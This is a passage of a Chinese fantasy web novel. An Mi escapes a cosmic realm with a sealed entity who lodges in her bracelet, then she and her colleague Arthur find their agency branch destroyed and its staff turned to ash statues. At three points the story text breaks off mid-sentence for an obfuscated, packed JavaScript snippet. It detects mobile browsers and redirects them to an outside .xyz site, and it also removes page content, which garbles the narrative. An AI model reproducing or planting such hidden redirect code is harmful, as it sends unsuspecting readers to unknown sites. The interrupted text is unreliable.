她猛地一震,整个人僵住,美丽的眼眸倏然瞪大,震惊与错愕尽数写在瞳孔的光芒里。 而倒映在其中的,是纪元的面庞。他的眼睛因为她眼中的震惊,透出了一丝罕见的茫然与迟疑。 纪元没有进一步的举动,只是维持着那最单纯的唇与唇之间的触碰。然后他闭上眼静静地开始品尝。 他能尝到安弥之前的惊惧与哀伤,现在的震撼与茫然,以及她那未能压下的紧张呼吸;他能尝到她身上散发着的体温,和她唇角残留着的血腥与尘埃的味道。 还有、还有一种,比亿万星辰更为璀璨,比栖居的古神更为深邃,比这整个宇宙的真实更为真实的东西。 一种,名为「安弥」的存在,让他不由沉溺其中,迟迟没有撤去唇瓣。 安弥的大脑宕机了几秒,眨了眨眼睛,猛地反应了过来,整个人像受惊的猫一般跳开,和纪元拉开了一段安全距离。 “你、你干嘛?!” 她下意识地摸了摸自己的嘴唇,脸上写满了震惊与羞恼。——我的初吻!就这么没了! 纪元静静地注视着她,目光深邃而平静。 他缓缓抬起手,指尖轻轻触碰了自己的唇瓣。那里还残留着一丝不属于他的温度。 “……初吻?”他低声重复着从她心声中捕捉到的这个全新的词汇,脸上浮现出一种近乎天真的、不解的表情,“那是什么?” 安弥的脸瞬间涨红。她想解释,却反而因为他的追问愈发慌乱。 纪元的眼睛亮了起来,他微微笑了,笑容里带着发现新玩具般的愉悦,向着安弥的方向走了一步,“我还想,再尝一次。” 8. 阿卡夏的馈赠 纪元的眼睛亮了起来,“我还想,再尝一次。” 那话语中的期待让安弥头皮发麻。她本能地后退半步,迅速捂住了自己的嘴巴,声音因惊慌而提高了些许:“不!不可以!” 看到纪元再次露出了困惑歪头的动作,安弥意识到单纯的拒绝对他无效,必须给出一个合理的理由。 她深吸一口气,努力让自己的声音听起来坚定,尽管心脏仍在狂跳:“正是因为这个味道……很好,所以它是很珍贵的!不能随便给别人品尝!” 说完,她在心里默默补了一句:尤其是第一次。呜……我的初吻! 纪元没有笑,只是静静地注视着她。 那双深不见底的黑眸中,先前玩味与戏谑的神情褪去,取而代之的是一种前所未有的、近乎学术探究般的专注,仿佛她在阐述一条宇宙间的基本法则。 “珍贵?不能随便给别人品尝?为什么?”他一步步逼近,语气认真,纯粹到像个初学语言的孩童,“珍贵,是谁定义的?既然只是规则,为什么不能被打破?为什么美好的味道,不能被一尝再尝?” 他一连串直击本质的反问,让安弥一时语塞,竟找不到任何言词来反驳这套非人的价值观。 然后,纪元似乎捕捉到了关键,眼神一亮,缓缓点头,像是终于理解了规则。 “我明白了。你的意思是说,想要再一次品尝到那个味道,我必须要先得到你的许可,让你愿意将你珍贵的味道给我品尝,对吗?” 安弥连忙抓住机会,坚定回应:“没错!你必须要得到我的许可,才、才可以品尝!” 纪元沉默了片刻,像是在将他新理解的这条重要规则郑重地录入他庞大的认知体系。随后,他露出了一个极为满意的的笑容:“很好。我喜欢这个规则。” 安弥摸不准他究竟想歪到哪里去了,但毕竟规则是得到她的允许,姑且算是糊弄过去了。 她突然灵光一现,想到了他们最初的赌约,于是鼓起勇气主动说道:“你之前说过,只要我在这个世界的真实面前,还能保留理智,你就会把我安然无恙地送回去。你,说话还算话吗?” 纪元道:“在见识了宇宙的真实之后,你还想回去?在这里,我可以给你一切你想要的,永恒的生命、无尽的知识、强大的力量……” “你确定还要回到那个破碎、吵闹,充满了死亡与背叛的地面吗?” 安弥坚定地点了点头,“确定。我的心之所向,就是属于人类的渺小的一隅。所以,我要回去。” 不愧是能引起他的兴趣的灵魂。这些所有人类都趋之若鹜的东西,她竟然毫无兴趣。 纪元思考片刻,仿佛做出了一个重要的决定,“好,我遵守我们的赌约,送你回去。” “不过,接下来我会一直跟你在一起。我现在对你灵魂的味道更感兴趣了。我很期待获得你的许可,自由品尝它的那一天。” 安弥大惊,“这、这可不在我们的赌约之内!” 纪元道:“我自然会完成我们的赌约。至于我接下来要怎么做,你觉得你有办法干涉吗?” 安弥涨红了脸:“你、你耍赖!” 安弥可爱的反应让纪元产生了愉悦,他不由笑了起来:“没错。我耍赖。不过我可以补偿你,我可爱的调查员小姐。” 说罢,广袖一挥,在安弥的眼前,出现了一个仿佛由无数星云所汇聚而成的巨大的光球,正缓缓旋转着。 “阿卡夏记录,拥有全宇宙的知识、规则,过去的,未来的,所有的所有。” 纪元看着安弥那因为阿卡夏记录的光芒而显得无比璀璨的眼睛,耐心地给她介绍:“从这里,你可以得到能力的提升。至于具体是什么样的能力,这取决于你灵魂的韧性。” “不过,我要提醒你,如果你的灵魂不够强韧,那么在你触碰它的瞬间,你的理智会像被扔进熔炉的琉璃般瞬间融化,沦为一个只会流口水的、美丽的空壳。” “要还是不要,你自己决定。” 安弥没有回答他,直接走到了光球的面前。 眼睁睁看着安培风在自己的面前牺牲,她无比痛恨自己的弱小。所以,她不会放弃这个可以成长的机会。 于是,她伸出了一只手,缓缓地触碰到了那个光球。 就在她指尖触碰到光球的瞬间,她的意识被一股无法抗拒的力量瞬间抽离! 整个世界在她眼前瓦解,她被卷入了一场由宇宙诞生至今所有画面、声音、情感与法则构成的能量风暴。 在那一刹那,她听到了超新星的爆炸与宇宙第一朵花开的声音,也看到了无数文明的崛起与沉寂。 庞大的、无序的、矛盾的真实,仿佛要将她渺小的意识彻底撕碎。 纪元站在旁边饶有兴致地观察着。 他很期待,眼前这个无畏的女孩在触碰阿卡夏记录后会是什么样的结果。 如果她就此崩溃,变成一个可以留在这里的玩具,似乎也会很有趣。 当然,他更希望她的灵魂不要那么脆弱,否则,他可不能确保,他不会因此觉得索然无味,将她的整个存在化为齑粉。 安弥闭上了眼睛,聚精会神地感受着其中的能量。 一缕金黄色的光芒从阿卡夏记录里释放了出来,缠绕到了她的手腕上。 安弥的意识终于回到了她的身体里。她睁开了眼睛,眼神中还带着劫后余生的茫然。 看到纪元死死地盯着她的手腕,她好奇地顺着他的目光看了过去,只见她的手腕上多了一条由南红玛瑙穿成的手串,每两个一组,组与组之前隔开了一段距离,总共十颗。 纪元弯起了嘴角:“你比我想象的要更有趣。告诉我,你现在能看到或者听到什么不一样的东西吗?” 安弥这才恍然发觉,原本寂静无声的宇宙背面,竟有无数的声音传入了她的耳朵。“原来这里有这么多声音……有很大的风声,像风在吹动沙漠;还有很多声音,好像在说话、在哭、在笑、在窃窃私语……但我听不懂他们说的是什么。” 突然,她猛地睁大了眼睛。 她的感知,穿透了那些庞大神明们由星云和光芒构成的外壳,直接触摸到了祂们内在的、最本源的核心。 那里,一片死寂冰冷,是早已凝固的绝对静止。 “他…他们……” 安弥的脸色瞬间变得惨白,她下意识地后退了一步,那双黑曜石般的眼眸里,充满了无法抑制的震惊与恐惧。 她抬起颤抖的手,指向那片死寂的虚空,声音因为惊骇而变的喑哑:“……他们……都死了?” 纪元那双原本正带着几分好奇、打量着南红手串的黑眸,因为她这句话,猛然一凝。 他缓缓地抬起头,顺着安弥那充满了恐惧的目光,重新望向那片他早已看过亿万年的、熟悉到近乎无聊的虚空。 这一次,他不再只是看,而是学着她的样子去感知。 很快,他那张俊美得非人的脸孔上,血色就一寸一寸地褪得干干净净。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536762|186594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和他记忆中的不一样……看来,他遗忘了太多的事情…… 二人一时无言,最后还是安弥打破了沉默:“我们现在可以回到地面了吗?” 纪元这才从惊骇中抽离,“我们走吧。” 他现在对眼前的女孩更感兴趣了。 没想到她对宇宙神明状态的感知比他更敏锐,这一点完全超出了他的预期。 他相信和她在一起,接下来她还会给他更多惊喜。 于是,他抬起手用冰凉的指尖覆上了她的眼睛。“闭上眼。” 安弥顺从地闭上了眼。 世界在瞬间失去了形态。 前一秒还是宇宙背面的无垠虚空与星辰低语,下一秒,刺鼻的、熟悉的煤灰与铁锈味就重新灌满了她的鼻腔。 脚下传来了坚硬冰冷的触感,耳边是死一般的寂静,只有应急灯那不祥的、单调的“嗡嗡”声。 她回来了。 安弥睁开眼,发现自己正站在通往第七层收容室的那条由黄铜与黑曜石铸就的走廊里。 一切都和她离开时一模一样,又好像有什么东西,被永远地改变了。 “爸爸!”她第一时间想到的,就是安培风,立刻转身朝着第六层的方向发足狂奔。 然而,纪元却没有跟上。 安弥跑出几步,察觉到了异常,猛地回头。 只见纪元正靠在冰冷的墙壁上,那身古老的黑色长衫仿佛失去了所有光泽,变得黯淡。他那张俊美得非人的脸孔上,血色尽褪,呈现出一种近乎透明的苍白。他的身体,甚至在微微地闪烁,像一个信号不良的幻影,随时都会消失。 “纪元?你怎么了?”安弥的心猛地一沉,立刻跑了回去。 纪元抬起眼,原本白皙的皮肤此刻显得更加苍白:“打开宇宙背面消耗了我几乎全部被封印后残存的力量。在我的计算中,那是一次单向的旅程。” “我本以为你会如我预期的那样,在那里彻底崩溃,你的理智会成为我最后的甜点,而我则会在品尝完它的味道之后,会回归宇宙永恒的虚无之中,慢慢恢复自己的力量。” 他的目光落在安弥身上,那眼神专注而复杂。 “但你没有。你不但没有崩溃,还让我……做出了一个计划外的决定。”他扯了扯嘴角,露出一个无奈的笑容,“简单来说,我现在的能力比普通人好不了多少。” 安弥怔住了,她没想到他跟回来的代价竟然如此巨大。 就在这时,安弥手腕上的南红手串,忽然散发出了一阵温润柔和的微光,仿佛在与纪元此刻虚弱的能量产生共鸣。 纪元的眼睛亮了起来。 “看来,你从阿卡夏记录里编织出的这个小东西,比我想象的还要有用。”他朝着安弥伸出手,“它似乎很适合用来寄存我的意识来恢复力量。” 安弥没有丝毫犹豫,立刻将自己的手腕伸了过去。 纪元看着她,那双虚无的眼眸深处,有什么东西悄然地动了一下。他没有再多说什么,整个身体瞬间化作一缕比墨色更深沉的黑烟,尽数没入了安弥的手串之中。 手串上的十颗南红玛瑙,光芒瞬间黯淡了下去,仿佛被注入了无尽的黑夜。 “……这样,好多了。”纪元的声音,直接在安弥的脑海中响起。那声音不再是从外界传入,而是成为了她思绪的一部分。 安弥顾不上适应这种全新的交流方式,她的心脏已经被对安培风和同伴们的担忧牢牢攫住。她不再耽搁,转身朝着上层跑去。 9. 亚瑟归来 灰港市郊的公路上,一辆黑色的蒸汽摩托正撕开午后沉闷的空气,朝着市中心的方向风驰电掣。 骑手是亚瑟·索恩。他高大挺拔的身形在摩托上坐得笔挺,肩背线条如直尺般平整。那头一丝不苟的金色短发被风吹向脑后,露出他锐利的眉眼。 凛冬公国的寒霜还未从他英俊的眉宇间完全褪去,但他的心早已被新阿尔比恩那熟悉的、混杂着煤烟与海风的暖意所填满。他刚刚结束了为期半年的外派任务,此刻归心似箭。 他的脑海里,已经浮现出了今晚庆功宴的画面:史密斯太太那甜美诱人的苹果派和独家配方的牛排,导师安先生那张故作严肃却藏不住骄傲的脸,以及……那个小小的、却总能让他感到心安的身影。 不知道安弥的考核怎么样。结果他是不担心的,只是不知道她的表现会不会技惊四座。 他想着,嘴角不自觉地微微上扬。他习惯性地抬起手,打开了摩托车上的加密通讯频道,准备进行例行的归队报备。 “这里是G-137,亚瑟·索恩,已返回灰港范围,预计十五分钟后抵达分部。” 回应他的,只有一片沙沙作响的、充满了静电噪音的……死寂。 亚瑟皱了皱眉,清澈的蓝色眼眸里闪过一丝疑虑。他又重复了一遍,但结果依旧如此。 一丝微不可察的不安悄然爬上了他的心头。或许只是通讯设备故障了,亚瑟自我安慰地想,下意识地挺直了本就笔挺的脊背。 当他驶入灰港城区时,这份不安变得更加强烈。 城市一切如常。码头的汽笛在鸣响,马车在街道上穿行,市民们行色匆匆,一切都和他离开时一模一样。 但他的心仿佛被一只大手紧紧地攥住,小腹发紧,呼吸都变得艰难了起来。 一种巨大的、不祥的预感笼罩了他。 他猛地加大了蒸汽阀的输出,摩托车发出一声咆哮,向着调查局所在的东区冲去。 终于,他看到了RBAP灰港分部的大门。 摩托车还没有停稳,他就跳下了车,冲到了门口。 RBAP灰港分部的大门是一扇由厚重钢板铆接而成的的工业滑门。看上去毫不起眼,实际上却是固若金汤的存在,连枪炮都无法打开。 在大门的旁边,有一个小小的观察窗,和一部吱嘎作响的、老旧的黄铜通话器。任何人员进入都必须通过通话器进行身份验证。 亚瑟拿起通话器,急切道:“G-137,亚瑟·索恩归队。” 然而,通话器里没有任何回应,观察窗也没有打开。通话器里此刻的沙沙声让亚瑟更加疑窦丛生。 这不是设备故障。RBAP的内部通讯线路有独立的炼金核心供能,就算是整个灰港的蒸汽管道全部瘫痪,通话器也绝不会断电。 亚瑟的脸色沉了下来。他迅速从腰间的武装带上取下了一枚小巧的、刻有复杂纹路的银质徽章,将徽章按入大门旁边一个不起眼的凹槽内。 “权限确认:G-137,精英调查员,亚瑟·索恩。紧急协议启动。”一个冰冷的、机械合成的声音响起。 伴随着令人牙酸的金属摩擦声,那扇固若金汤的滑门,缓缓地、沉重地向一侧滑开。 门后的景象,让亚瑟的心脏瞬间沉入了谷底。 灰港分部前面的广场,出现了一个巨大的、殷红如血的法阵,上面布满了繁复的符文。 整个分部都呈现出一片诡异的寂静。 “托马斯?史密斯太太?” 亚瑟拔出了腰间的手枪,一步步地、小心翼翼地往里走。他的声音在空旷死寂的走廊里显得格外突兀,却没有任何人回应。 当他拐过走廊,踏入那个平日里最热闹、此刻却死寂得可怕的大厅时,他整个人都僵住了。 他看到了。 他看到了所有人。 托马斯还保持着向前冲锋的姿态,脸上是他在战斗时标志性的、狂放不羁的怒吼。 第三小队的成员们呈战斗队形散开,有的在更换弹匣,有的在投掷手雷,每一个人的动作都定格在了战斗最激烈的那一瞬。 然而,地面上却没有任何敌人或怪物的踪迹。 亚瑟迅速冲向了安全屋,安全屋的定时锁定功能已解除,门锁一拧便打开了。 门口史密斯太太的眼睛里满是焦急,正对着里面的人大喊着什么。 老约翰如同一座山一般在门边矗立着,正侧耳倾听外面的声音。 他们都在这里。 但他们……又都不在了。 所有人的身体,都呈现出一种诡异的、失去了所有生命色彩的灰白色。他们不再是血肉之躯,而是一尊尊栩栩如生、却又散发着死亡气息的雕塑。 亚瑟感觉自己的呼吸被一只无形的手扼住了。他艰难地迈开脚步,走到了老约翰的雕塑前。 他伸出手,指尖因为巨大的震惊和恐惧而微微颤抖着,轻轻触碰了一下老约翰的肩膀。 ——哗啦。 仿佛是积聚了千年的尘埃,在这一刻终于得到了解脱。老约翰那高大的身体,连同他身上的制服与武器,瞬间崩解,化作了一捧细腻的、灰白色的粉末,悄无声息地散落在地。 “不……”一声痛苦的、压抑的低吼从他的喉咙深处挤出。 他转过身,疯狂地寻找着,双目赤红,“安弥!” 安弥在哪里! “亚瑟。”女孩的声音低低的响起。 亚瑟猛地抬起了头,望向了声音传来的方向。 “亚瑟!!!”安弥在看到他的一瞬,哇地一声哭了出来,冲进了他的怀里。 亚瑟快走几步迎了上去,将她紧紧地、紧紧地拥入怀中,声音沙哑得不成样子:“安弥,没事了,没事了,我回来了。” 怀里的身体冰凉而瘦弱,正剧烈地颤抖着。那压抑了许久的、撕心裂肺的哭声,像一把钝刀,反复切割着亚瑟的心脏。 他只能一遍又一遍地重复着那句苍白无力的话。 安弥死死地抓着亚瑟的衣襟,仿佛抓住了最后一根救命的稻草,将这段时间所有的恐惧与绝望,都倾泻在了他的怀里。 亚瑟没有催促,也没有追问。他就这样抱着她,任由她的泪水浸湿自己的肩头,直到那撕心裂肺的哭声渐渐变成了断断续续的抽噎。 过了许久,安弥才缓缓地、用尽全身力气般,从他的怀里退了出来。 她的眼睛又红又肿,脸上还挂着泪痕,但目光已经不再是之前的脆弱。 她抬起手,用手背用力地擦了擦脸颊,“所有人……所有人都……都不在了。” 亚瑟抱着最后一丝侥幸问道:“……安叔叔呢?” “爸爸他……为了保护我, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536763|186594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也牺牲了。”她的声音很轻,带着浓重的鼻音,但每一个字都像一块烧红的烙铁,烫在亚瑟的心上。 亚瑟的嘴唇动了动,却发不出任何声音。他最敬爱的导师,那个如同父亲般存在的男人…… 她抬起了头,那双被泪水洗过的、黑曜石般的眼眸此刻亮得惊人。 那里面,燃烧着一种亚瑟从未见过的、冰冷而坚定的火焰。 “亚瑟,”她看着他,一字一顿地说道,“我要,血债血偿。” 看着眼前这个仿佛在一夜之间长大了的女孩,看着她眼中那不容置疑的决绝,亚瑟知道,从这一刻起,有些东西,永远地改变了。 他缓缓地点了点头,抬手用拇指轻轻抹去了她眼角最后一滴泪珠,“好,我们一起。” 亚瑟环顾四周,声音重新恢复了冷静:“这里不能久留,现场必须封存。我们需要找个安全的地方,你把你知道的一切,每一个细节都告诉我。我们需要整理出一份完整的报告,然后向总部求援。” 安弥点了点头。 “哦对了,”亚瑟突然想到了什么,“地底7层的那个Keter级收容物,还在吗?” 她的内心却瞬间陷入了巨大的恐慌,一时不知道要怎么解释她和纪元发生的事情。 就在这时,一个冷静的男声响了起来:“它已经不在了。” 安弥循声望去,只见一个身穿灰港调查员制服,身形修长、肩背笔挺的男子从走廊转角走了过来,漆黑的头发长至领口,随着他的走动轻轻晃动。 安弥一眼就认出了他——纪元!他的外表不再像身为收容物时那般非人的俊美无俦,多了些人类的气息,只能算得上清隽。但他如幽潭般深邃的眼睛,安弥绝不会认错。 与此同时,安弥震惊地发现,一段不属于她的、但又无比真实的记忆,被植入了她的脑海:他叫纪元,是位来自华胥古国的华裔,是灰港分部最神秘的外勤调查员,专职处理一些与概念和精神污染相关的特殊案件。因为刚好与地底那个Keter级收容物重名,他来的时候,局里的人还在食堂里讨论过这件事情…… 他大部分时间都不在分局,经常外出处理各种异常事件。在入侵发生时,他正在外面执行一项秘密任务…… 脑海中多出这一段天衣无缝、细节满满的记忆,让安弥的内心掀起了惊涛骇浪,她满脸震惊地看向了纪元。她无比确定,这段记忆是刚刚才凭空出现的。 纪元没有看她,他的目光沉痛地扫过大厅里那些灰白的雕塑,然后落在了亚瑟身上。 “我刚完成外勤任务回来……就看到了这一切。”他的声音沙哑,完美地演绎了一个刚刚目睹惨剧、身心俱疲的幸存者,“我在查看收容物的情况时,发现纪元的收容室有开启过的痕迹,然后发现了藏在里面的安弥。” 他的话语里,充满了恰到好处的自责与悲伤,“都怪我,回来得太晚了。” 亚瑟紧绷的神经,因为又找到一个幸存的自己人而稍稍放松了一些。他走上前,用力地拍了拍纪元的肩膀:“这不是你的错。你活着,就是最好的结果。” 纪元点头。看来模仿亚瑟目前的情绪状态是正确的。 亚瑟转头看向安弥,眼神带着坚定中带有一丝安抚:“现在,我们有三位幸存者了。安弥,纪元,跟我走。去外部的安全屋,我们需要立刻整理情报。” 10. 盘点 RBAP灰港分部的安全屋,在城市的另一端,是为不方便回局里的调查员们短暂休息和调整装备的地方,外表看起来就像一栋普普通通的公寓。 亚瑟、安弥和纪元三人围坐在了一张木桌前。 亚瑟开启了房间里的信号屏蔽装置,然后看向安弥:“安弥,你先说。从头开始,把你知道的都说出来。” 安弥深吸了一口气,开始讲述。 “入侵分部的是暗之住民。” 她如实讲述了入侵的开始,安培风如何带领调查员们抵抗,自己和安培风是如何一起被关在了灰港五层以下的。 她只改了一个细节,说他们先去查看了七层地底唯一的Keter级收容物「纪元」的情况,发现「纪元」已经失踪,在回到六层的路上遭遇了盗取深红变异源后逃走的精英夜吼者……然后是那个噩梦般的小丑。 安培风在发现那个小丑被激活后,选择了自己迎战小丑,让安弥躲进了地下七层「纪元」那个最坚固的收容室。 亚瑟听着,点了点头,声音里透着疲惫和沉重:“这个小丑……我在我父亲的笔记中看到过记录。它是新阿尔比恩总部多年前失窃的一件Euclid级收容物,代号‘马戏团的巴克尔’。” “在被玩具箱封存的状态下是无害的,但玩具箱一旦被开启,就会把所有在场的人拖进他的噩梦领域。在领域被激活时,没有有效的对抗手段,只能……” 亚瑟的声音哽咽了起来,他垂下了眼睛,顿了顿,跳过了那个安弥心知肚明的部分接着说:“……它只有在一定时间内周围找不到人后,才会恢复到玩具状态,然后只能通过远程将它收回到玩具箱里。” 虽然早就猜到了安培风的用意,但真的在亚瑟口中得到证实时,安弥再一次抑制不住地哭出声来。 一向冷静内敛的亚瑟也哽咽到无法继续说话,两个人一时陷入了沉默,房间里只有安弥压抑不住的低低的抽泣声。 片刻后,纪元冷静的声音响了起来,把话题继续了下去:“当我回到调查局的时候,一切已成定局。安弥所说的暗之住民的光源剥夺当时已经失效了,光线是正常的。” “我查看了门口献祭法阵,那是一种大范围的生命剥离仪式,极其古老和恶毒。” “当时所有人的注意力都在调查局内部,无人知晓院子里法阵的存在。而这,才是他们的真正目的——通过这种大型的献祭,达到其不可告人的目的。” 亚瑟逐渐冷静了下来,他重新开始思考:“目前可以确定的是,他们这次献祭必然与深红变异源有关系。至于跟收容物「纪元」是否有关系,目前还很难说。” 亚瑟用手撑着额头,强迫自己静下心来重新梳理事情的原委。 过了片刻,他才抬起头来,重新看向安弥和纪元,声音虽然疲惫,但重新恢复了镇定和条理:“我现在要向总部汇报。我们需要支援……需要复仇。” 他站起身,走到安全屋角落里一台不起眼的伊利斯电台前。这是一台经过特殊加密的短波电台,是分部在城内最后的、也是最安全的紧急联络渠道。 他熟练地戴上耳机,调整频率,空气中响起一阵阵滋滋的电流声。安弥和纪元静静地看着他,房间里只剩下他敲击摩斯电码的、清脆而坚定的声音,以及他压低了的、向着话筒汇报的沉稳嗓音。 “……这里是灰港分部,精英调查员亚瑟·索恩。重复,这里是灰港分部,精英调查员亚瑟·索恩。分部于今日上午10:00左右……遭遇大规模协同入侵,敌人身份确认为暗之住民与夜吼者。分部……已失守。” 他说出“失守”两个字时,肩膀微微颤抖了一下,但很快就稳住了。 “安培风指挥官……确认牺牲。目前已知幸存者,只剩下我、纪元调查员和安弥调查员,其余人员待排查。有夜吼者潜入收容井六层,带走了Euclid级收容物深红变异源。此外,Keter级收容物「纪元」下落不明。请求总部立刻派遣调查组,封锁现场,彻查此事。重复,请求立刻支援……” 汇报很简短,但每一个词都像一块沉重的铅块。 说完最后一个字,亚瑟关掉了通讯器。他摘下耳机,疲惫地揉了揉眉心,对两人说:“发出去了。我……去倒杯水。” 他需要一个短暂的独处时刻来平复心情。看着亚瑟沉重的背影走向房间另一头的饮水机,安弥刚想说些什么,却看到身边的纪元身体晃了晃。 他的身影在昏黄的灯光下,开始变得透明、扭曲,像是信号不良的影像。 下一秒,在安弥惊愕的注视下,纪元的整个身体化为一缕极淡的、几乎看不见的黑雾,悄无声息地钻进了她手腕上的南红手串里。 一切快得像个幻觉。 安弥的心脏漏跳了一拍,立刻在脑海里急切地用心声喊道:“纪元!喂!你干嘛!亚瑟马上就回来了!” 脑海里传来纪元那微弱到几乎要消散的声音,充满了疲惫:“我的力量消耗了太多……现在的我连人类都不如……我需要休息……你自己……想办法解释吧……” 他早些时候在亚瑟面前做的,不是扭曲了亚瑟对自己的认知,而是直接在这个世界添加了一个人类纪元的存在:所有的档案记录俱全、所有与纪元有关的人士脑海里都多了一段关于纪元的记忆,哪怕是神明也无法窥出破绽。 但这也付出了极高的代价,在外部世界他的力量恢复得太慢了,除非回到宇宙背面,否则他几百年内都不可能再次使用类似的这种扭曲现实的技能了。但这很有趣,不是吗?他对接下来的旅程充满了期待。 安弥急得差点跳起来:“我要想什么办法啊?!” 手串里沉默了。 “我想不出来啊!”她焦急地在心中呐喊。 依然是沉默。 “喂!喂!纪元!睡着了吗!醒醒啊!” 回应她的是彻底的寂静。 就在这时,脚步声传来,亚瑟端着一杯水走了回来。他看了一眼空荡荡的座位,疑惑地挑了挑眉。 “纪元呢?” 安弥的心提到了嗓子眼,她强迫自己尽可能表现得自然,不让自己的视线乱飘。 “他……他说他有点急事,要出去处理一下……” 亚瑟点了点头,没有多想。 毕竟他们刚刚经历了家园覆灭的惨剧,每个人都有自己需要处理的情绪和事务。 他将水递给了安弥,脸色重新变得凝重:“安弥,接下来我要去灰港分部盘点一下……名单。你就在这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536764|186594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等我。” 安弥立刻站了起来:“亚瑟,我也要去。” 亚瑟拍了拍她的肩膀,说:“今天你经历了太多事情,需要休息,交给我。” 安弥摇了摇头,眼神坚定:“不,我要去。” 亚瑟盯着她看了一会儿,最终点了点头。 时值盛夏,灰港的白天是如此的漫长。 太阳已经沉入西方的地平线之下,天空依旧拒绝屈服于黑夜。苍白而稀薄的光死死地黏附在天际,把整座城市罩在一种既非白昼、亦非黑夜的暧昧里。 “不要碰到这些雕像,否则会化为齑粉。”亚瑟嘱咐道。 安弥点了点头。这次她没有再哭,而是以一种旁观者般的、近乎麻木的冷静和亚瑟一起记录。 托马斯·安德森。第一小队,队长。 汉娜·艾薇。第三小队,突击手。 …… 两个人除了念出在场的人员名字,没有任何其他交流。 直到走进了文职和后勤人员藏身的安全屋里。安弥的眼圈瞬间红了。 她绕过了站在门口的史密斯太太的雕像,先盘点完了其他人的名字,最后才走到了史密斯太太的面前。 “玛格丽特……史密斯。”她的声音哽咽了起来。 突然,安弥突然瞪大了眼睛:“老约翰呢?” 亚瑟没有作声,目光移到了门口那堆细腻的粉末上。她这才明白亚瑟为什么一开始不让她触碰雕像…… 安弥再也忍不住,张开嘴巴开始嚎啕大哭,痛苦的、绝望的声音在整个房间里回荡。 亚瑟也抬起了一只手,捂住了自己的眼睛,眼泪从他的指缝里流了出来。 一直压抑的情绪被彻底释放,许久,两个人才慢慢地平静了下来。 “……走吧。”他说,“去人事档案室,我们去拿分部的人员名册,再重新核对一遍。” 拿到了人员名册,第一个名字就让两个人对视了一眼。 局长哈罗德·莫顿。这个平时基本没有存在感的局长,不在遇害者的名单里。 “莫顿局长呢?”亚瑟眉头一挑。 安弥说:“前几天听史密斯太太提过,莫顿局长去南方度假了。” “他前脚去度假,后脚灰港就出事了,”亚瑟若有所思,“我们找一下他的联系方式,必须要联系到他。” 他们很容易就从人事档案室里找到了莫顿局长的联系方式。 亚瑟拿出随身携带的赫尔墨斯信鸽,那是一只只有孩童巴掌大小的铜制鸽子,结构精巧,羽毛泛着黄铜光泽,羽轴间隐约可以看到微小的齿轮,鸽爪上扣着一只黄铜信筒,上面刻着密密的符文。 亚瑟从怀里取出了一张薄如蝉翼的炼金铜箔,用随身刻刀在其表面迅速刻下几行信息: 分部遇袭,伤亡惨重,速归。——索恩·亚瑟。 符文光芒一闪,文字被固定。随后,他将薄片卷起,塞入鸽爪的黄铜信筒中,拿起人事档案室保存的刻着莫顿印记的徽章,在信筒盖上轻轻按了一下。信筒上的符文随即亮起,像是在校准方向。 亚瑟将鸽子托到了窗边。 随着“咔哒”的齿轮声响起,信鸽的翅膀喷出了一缕白雾,随即振翅冲入夜空,直奔南方。 11. 阿尔法小队 第二天上午,安全屋的门被猛地撞开,矮小肥胖的哈罗德·莫顿局长冲了进来。 他那身考究的西装皱巴巴的,沾满了泥污,苍白浮肿的脸上挂着两条清晰的泪痕,头发乱得像一蓬被暴雨打过的枯草。 一进屋,他就扑到了最近的一张椅子上,发出了夸张而悲痛的哀嚎。 “我的天……我的上帝啊……”他用一块雪白的丝质手帕捂住眼睛,肩膀剧烈地耸动着,“我才离开几天……我只是……只是去外地探望一下我的姨妈……怎么会……怎么会变成这样?” 亚瑟和安弥交换了一个眼神。 亚瑟走上前,递给他一杯水,声音沉稳:“局长,您冷静一点。发生了这样的事情……” “冷静?!”莫顿局长猛地抬起头,布满血丝的眼睛里充满了悲愤,“你让我怎么冷静?!我的分部!我的下属!我的家人、我可爱的孩子们!全都没了!全都没了啊!” 他抓住亚瑟的手臂,力气大得惊人:“索恩!你告诉我,这是谁干的?!是谁?!我要把他碎尸万段!” 亚瑟皱了皱眉,将他的手挣开:“是暗之住民。我们怀疑这是一场有预谋的、里应外合的入侵。” “我就知道是他们!”莫顿局长一拳砸在桌子上,随即又像是耗尽了所有力气般瘫软下去,喃喃自语,“都怪我……都怪我啊……如果我没有休假,如果我留在这里……或许……或许一切就都不会发生了……” 他抬起那张泪水与鼻涕交织的脸,看向亚瑟和安弥,眼中充满了痛苦与自责:“我对不起你们,对不起灰港,对不起……对不起安培风先生的在天之灵啊……” 就在这时,屋外传来了一阵仿佛撕裂空气的轰鸣。 